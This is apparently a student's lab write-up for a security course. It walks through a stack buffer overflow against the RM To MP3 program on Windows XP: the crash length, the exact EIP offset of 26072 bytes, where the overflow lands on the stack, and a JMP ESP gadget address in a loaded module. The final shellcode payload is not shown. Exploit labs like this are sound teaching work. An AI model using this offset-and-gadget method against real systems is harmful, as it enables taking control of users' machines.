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CS373

Lab 2

I started this lab by modifying the "exploit_start" script to produce 30,000 "A"s and then ran RM To MP3 with the immunity debugger attached. I found that EIP had been over writtin with A's, HEX 41414141 = AAAA

```
ESI 77C5ACE0 msvcrt.77C5ACE0
EDI 00007530
EIP 41414141
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
```

I played around with the number of junk As until I found the exact cut off where the program would crash, I found that 26072 As would pass and any more would fail. So, I created a junk file with 26072 As plus 4 Bs to show I could load EIP with whatever I want.

```
ESP 000FFD40
EBP 00104680 ASCII "C:\Documents and Settings\
ESI 77C5ACE0 msvcrt.77C5ACE0
EDI 000065DC
EIP 42424242
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
```

I then added trailing Cs to the string to see where this would land in memory. I quickly found the spot in

```
41414141 AAAA
41414141 AAAA
41414141 AAAA
41414141 AAAA
41414141 AAAA
41414141 AAAA
42424242 BBBB
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
43434343 CCCC
```

memory that I could use to put my shell code...

Rather than trying to directly overwrite \$eip I went and found a jump esp instruction in one of the dll files. I found one at 0x01a8f23a.

```

00015000 71AB16C6 WS2_32 5.1.2600.0 (xpc C:\WINDOWS\System32\WS2_32.dll
00008000 wsock32 5.1.2600.0 (xpc C:\WINDOWS\System32\wsock32.dll
0004F000 71C216FC NETAPI32 5.1.2600.0 (xpc C:\WINDOWS\System32\NETAPI32.dll
00005000 722B1120 sensapi 5.1.2600.0 (xpc C:\WINDOWS\System32\sensapi.dll
00023000 730016FA WINSPOOL 5.1.2600.0 (xpc C:\WINDOWS\System32\WINSPOOL.DRV
000F2000 73D05D23 MFC42 6.00.8665.0 C:\WINDOWS\System32\MFC42.DLL
00010000 76081800 MSUCP60 6.00.8972.0 C:\WINDOWS\System32\MSUCP60.dll
00097000 76201784 WININET 6.00.2600.0000 C:\WINDOWS\System32\WININET.dll
000F5000 7620195C MSASN1 5.1.2600.0 (xpc C:\WINDOWS\System32\MSASN1.dll

CPU - thread 00000770, module MSRMCC_2
01A8F23A FFE4 JMP ESP
01A8F23C FF8D 4E10C744 DEC DWORD PTR SS:[EBP+44C7104E]
01A8F242 24 10 AND AL,10
01A8F244 FFFF CALL Unknown command
01A8F246 FFFF CALL Unknown command
01A8F248 E9 F3FEE4FF CALL MSRMCC_2.0180F140
01A8F240 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8]
01A8F251 5E POP ESI
01A8F252 64:890D 00000000 MOV DWORD PTR FS:[0],ECX
01A8F259 83C4 10 ADD ESP,10
01A8F25C C3 RETN
01A8F25D 90 NOP
01A8F25E 90 NOP
01A8F25F 90 NOP

```

Now all I must do is combine some NOPs with my junk, and shell code and this should cause the program to launch the calculator.

